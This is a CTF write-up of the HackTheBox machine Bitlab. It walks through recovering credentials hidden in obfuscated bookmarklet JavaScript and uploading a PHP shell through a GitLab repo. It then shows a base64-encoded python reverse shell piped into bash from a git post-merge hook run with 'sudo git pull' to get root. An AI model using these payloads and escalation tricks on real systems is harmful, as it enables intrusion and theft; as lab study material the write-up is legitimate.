Bitlab – HackTheBox WriteUp

post image


Bitlab just retired today. I had lots of fun solving it and I certainly enjoyed using an unintended exploit to get root. Its IP address is ‘’ and I added it to ‘/etc/hosts’ as ‘bitlab.htb’. Without further ado, let’s jump right in!

Scanning & Initial Web Enum

A light nmap scan provided me with enough information to get started:

root@fury-battlestation:~/htb/blog/bitlab# nmap -sV -O bitlab.htb -oN scan.txt
Starting Nmap 7.80 ( ) at 2019-12-26 10:31 EST
Nmap scan report for bitlab.htb (
Host is up (0.13s latency).
Not shown: 998 filtered ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 25.13 seconds

After seeing the results, I opened a browser and accessed the machine on port 80:

I also started dirb, which discovered some accesible URIs:

root@fury-battlestation:~/htb/blog/bitlab# dirb http://bitlab.htb

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Dec 26 11:52:21 2019
URL_BASE: http://bitlab.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: http://bitlab.htb/ ----
+ http://bitlab.htb/explore (CODE:200|SIZE:13669)                              
+ http://bitlab.htb/favicon.ico (CODE:301|SIZE:167)                            
+ http://bitlab.htb/groups (CODE:302|SIZE:98)                                  
==> DIRECTORY: http://bitlab.htb/help/

The ‘help’ directory had directory listing enabled and only contained one file named ‘bookmarks.html’:

The file contained some links:

Deobfuscating bookmarks.html

The last link, ‘Gitlab Login’ didn’t work, so I downloaded the page and inspected the source. The owner probably obfuscated the link:

<DT><A HREF="javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A>

The first step was to isolate the JavaScript code, HTML decode and prettify it using an online tool (I used this one and this one):

(function () {
	var_0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65", "\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64", "\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
	document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
	document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];

After that, I renamed the array ‘arr’ and converted the \x chars to ASCII (using python’s print() function):

(function () {
	var arr = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
	document[arr[2]](arr[1])[arr[0]] = arr[3];
	document[arr[2]](arr[4])[arr[0]] = arr[5];

As soon as I finished doing that, I completely removed arr by replacing arr[i] with its string value:

(function () {
	document["getElementById"]("user_login")["value"] = "clave";
	document["getElementById"]("user_password")["value"] = "11des0081x";

Most of my readers will probably understand that code, but let’s finish deobfuscating it anyway:

document.getElementById("user_login").value = "clave";
document.getElementById("user_password").value = "11des0081x";

I tried using clave/11des0081x to log in to Gitlab and it worked:

Shell as www-data

After some playing around, I discovered that the ‘Profile’ repository had AutoDevOps enabled, meaning that the repository would be synced with bitlab.htb/profile/ (which can be accessed by clicking on your avatar and selecting ‘settings’). I tried to create a .php file that would get me a shell. The first step was to navigate to the repo and select ‘New File’:

After clicking ‘Commit changes’ ans ‘Submit merge request’, I tried accessing yakuhito.php, but it didn’t work. The reason was simple: I also needed to merge the changes. I did that by simply clicking the green ‘Merge’ button on the page that I was redirected to:

After that, I tried running a simple command to test if the server runs PHP code:

I wanted to upgrade to an interactive shell, so I used shellgenerator to generate a command that used python to start a reverse shell:

root@fury-battlestation:~/htb/blog/bitlab# nc -nvlp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 34310
/bin/sh: 0: can;t access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'

Getting user.txt

After looking around for a bit, I found an interesting snippet on Gitlab:

I made a simple PHP script that dumped the ‘profiles’ database using the credentials found in the above snippet:

www-data@bitlab:/var/www/html/profile$ mkdir /tmp/yakuhito
mkdir /tmp/yakuhito
www-data@bitlab:/var/www/html/profile$ cd /tmp/yakuhito
cd /tmp/yakuhito
www-data@bitlab:/tmp/yakuhito$ echo PD9waHAKJGRiX2Nvbm5lY3Rpb24gPSBwZ19jb25uZWN0KCJob3N0PWxvY2FsaG9zdCBkYm5hbWU9cHJvZmlsZXMgdXNlcj1wcm9maWxlcyBwYXNzd29yZD1wcm9maWxlcyIpOwokcmVzdWx0ID0gcGdfcXVlcnkoJGRiX2Nvbm5lY3Rpb24sICJTRUxFQ1QgKiBGUk9NIHByb2ZpbGVzIik7CmVjaG8gdmFyX2R1bXAocGdfZmV0Y2hfYWxsKCRyZXN1bHQpKTsKcGdfY2xvc2UoJGRiX2Nvbm5lY3Rpb24pOwo/Pgo= | base64 -d > a.php
<2UoJGRiX2Nvbm5lY3Rpb24pOwo/Pgo= | base64 -d > a.php
www-data@bitlab:/tmp/yakuhito$ cat a.php
cat a.php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
echo var_dump(pg_fetch_all($result));
www-data@bitlab:/tmp/yakuhito$ php a.php
php a.php
array(1) {
  array(3) {
    string(1) "1"
    string(5) "clave"
    string(22) "c3NoLXN0cjBuZy1wQHNz=="

The base64 sctring decodes to ‘ssh-str0ng-p@ss’, however, the password for ‘clave’ is the encoded string (‘c3NoLXN0cjBuZy1wQHNz==’):

root@fury-battlestation:~/htb/blog/bitlab# ssh clave@bitlab.htb
clave@bitlab.htb;s password: 
Last login: Thu Aug  8 14:40:09 2019
clave@bitlab:~$ wc -c ~/user.txt
33 /home/clave/user.txt

The user proof starts with ‘1e’ 😉

Privesc – The Intended Method

Once I logged in as ‘clave’, I listed the contents of the home directory and saw a Windows executable:

clave@bitlab:~$ ls -lah
total 44K
drwxr-xr-x 4 clave clave 4.0K Aug  8 14:40 .
drwxr-xr-x 3 root  root  4.0K Feb 28  2019 ..
lrwxrwxrwx 1 root  root     9 Feb 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave 3.7K Feb 28  2019 .bashrc
drwx------ 2 clave clave 4.0K Aug  8 14:40 .cache
drwx------ 3 clave clave 4.0K Aug  8 14:40 .gnupg
-rw-r--r-- 1 clave clave  807 Feb 28  2019 .profile
-r-------- 1 clave clave  14K Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave   33 Feb 28  2019 user.txt
clave@bitlab:~$ file RemoteConnection.exe 
RemoteConnection.exe: PE32 executable (console) Intel 80386, for MS Windows

The intended solution was probably to reverse engineer this executable and get SSH creds for root, however, I suck at reversing, so I used the next method.

Privesc – The Unintended Method

After enumerating as www-data for a bit, I dicovered that the user was able to run ‘git pull’ with root privileges:

www-data@bitlab:/tmp/yakuhito$ sudo -l
sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass,

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull

I searched the internet for way to abuse this and found an interesting thread about executing commands automatically after running git pull. Basically, I had to use git hooks, which are just files that get executed after git finishes specific actions. First, I cloned the profile repository and created the hook:

www-data@bitlab:/tmp/yakuhito$ cp -r /var/www/html/profile ./repo
cp -r /var/www/html/profile ./repo
www-data@bitlab:/tmp/yakuhito$ echo "echo cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTUuMTUzIiw0NDQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOycK | base64 -d | bash" > repo/.git/hooks/post-merge
www-data@bitlab:/tmp/yakuhito$ chmod 777 repo/.git/hooks/post-merge
chmod 777 repo/.git/hooks/post-merge

The repository was owned by root, so I had to make a local copy in order to create the ‘post-merge’ file in the ‘.git/hooks’ directory. Before executing git pull, I also created a new file and approved the merge request, so the local repository would have to be updated.

www-data@bitlab:/tmp/yakuhito/repo$ sudo git pull
sudo git pull
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 4), reused 0 (delta 0)
Unpacking objects: 100% (7/7), done.
From ssh://localhost:3022/root/profile
   454c4b0..fd92099  master      -> origin/master
 * [new branch]      patch-5     -> origin/patch-5
   d9a2aca..95ccb2b  test-deploy -> origin/test-deploy
Updating 454c4b0..fd92099
 lkwkemf | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 lkwkemf

The shell hung and a revers shell connected on port 443:

root@fury-battlestation:~/htb/blog/bitlab# nc -nvlp 444
listening on [any] 444 ...
connect to [] from (UNKNOWN) [] 38932
# whoami
# wc -c /root/root.txt
33 /root/root.txt

The first 2 characters of the root proof are ‘8d’ 😉

If you liked this post and want to support me, please follow me on Twitter 🙂

Until next time, hack the world.

yakuhito, over.

Published on January 11, 2020